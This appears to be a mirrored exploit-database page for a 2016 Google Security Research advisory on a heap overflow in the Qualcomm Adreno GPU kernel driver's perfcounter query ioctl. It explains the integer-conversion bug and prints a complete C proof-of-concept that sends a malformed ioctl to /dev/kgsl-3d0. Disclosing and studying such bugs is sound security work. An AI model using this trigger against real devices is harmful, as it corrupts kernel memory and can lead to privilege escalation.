Qualcomm Adreno GPU MSM Driver – perfcounter Query Heap Overflow

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• 101 阅读

• 作者： Google Security Research
  日期： 2016-02-26
• 类别：

  • dos
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/39504/

• /*
  Source: https://code.google.com/p/google-security-research/issues/detail?id=734
  
  The Adreno GPU driver for the MSM Linux kernel contains a heap
  overflow in the IOCTL_KGSL_PERFCOUNTER_QUERY ioctl command. The bug
  results from an incorrect conversion to a signed type when calculating
  the minimum count value for the query option. This results in a
  negative integer being used to calculate the size of a buffer, which
  can result in an integer overflow and a small sized allocation on
  32-bit systems:
  
  int adreno_perfcounter_query_group(struct adreno_device *adreno_dev,
  unsigned int groupid, unsigned int __user *countables,
  unsigned int count, unsigned int *max_counters)
  {
  ...
  if (countables == NULL || count == 0) {
  kgsl_mutex_unlock(&device->mutex, &device->mutex_owner);
  return 0;
  }
  
  t = min_t(int, group->reg_count, count);
  
  buf = kmalloc(t * sizeof(unsigned int), GFP_KERNEL);
  if (buf == NULL) {
  kgsl_mutex_unlock(&device->mutex, &device->mutex_owner);
  return -ENOMEM;
  }
  
  for (i = 0; i < t; i++)
  buf[i] = group->regs[i].countable;
  
  Note that the "count" parameter is fully controlled. Setting count =
  0x80000001 will result in min_t returning 0x80000001 for "t", and
  kmalloc allocating a buffer of size 0x4. The loop will then overflow
  "buf" because "t" is unsigned, i.e. a large positive value.
  
  The bug was added in the following commit:
  
  https://www.codeaurora.org/cgit/quic/la/kernel/msm/commit/drivers/gpu/msm/adreno.c?h=aosp-new/android-msm-angler-3.10-marshmallow-mr1&id=b3b5629aebe98d3eb5ec22e8321c3cd3fc70f59c
  
  A proof-of-concept that triggers this issue (adreno_perfcnt_query.c)
  is attached. On Android devices /dev/kgsl-3d0 is typically accessible
  in an untrusted app domain, so if exploited this issue could be used
  for local privilege escalation.
  
  */
  
  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>
  #include <sys/types.h>
  #include <sys/stat.h>
  #include <fcntl.h>
  #include <sys/ioctl.h>
  
  struct kgsl_perfcounter_query {
  	unsigned int groupid;
  	unsigned int *countables;
  	unsigned int count;
  	unsigned int max_counters;
  	unsigned int __pad[2];
  };
  
  #define KGSL_IOC_TYPE 0x09
  #define IOCTL_KGSL_PERFCOUNTER_QUERY _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query)
  
  int main(void) {
  	int fd;
  	struct kgsl_perfcounter_query data;
  	unsigned int countables[16];
  
  	fd = open("/dev/kgsl-3d0", O_RDWR);
  
  	if (fd == -1) {
  		perror("open");
  		return -1;
  	}
  
  	memset(&data, 0, sizeof(struct kgsl_perfcounter_query));
  
  	data.groupid = 1;
  	data.countables = (unsigned int *) &countables;
  	data.count = 0x80000001;
  
  	ioctl(fd, IOCTL_KGSL_PERFCOUNTER_QUERY, &data);
  
  	close(fd);
  
  	return 0;
  }
  

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